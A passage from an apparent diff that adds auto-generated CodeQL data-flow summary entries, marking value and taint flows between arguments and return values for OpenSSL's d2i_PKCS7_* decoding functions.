"Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", 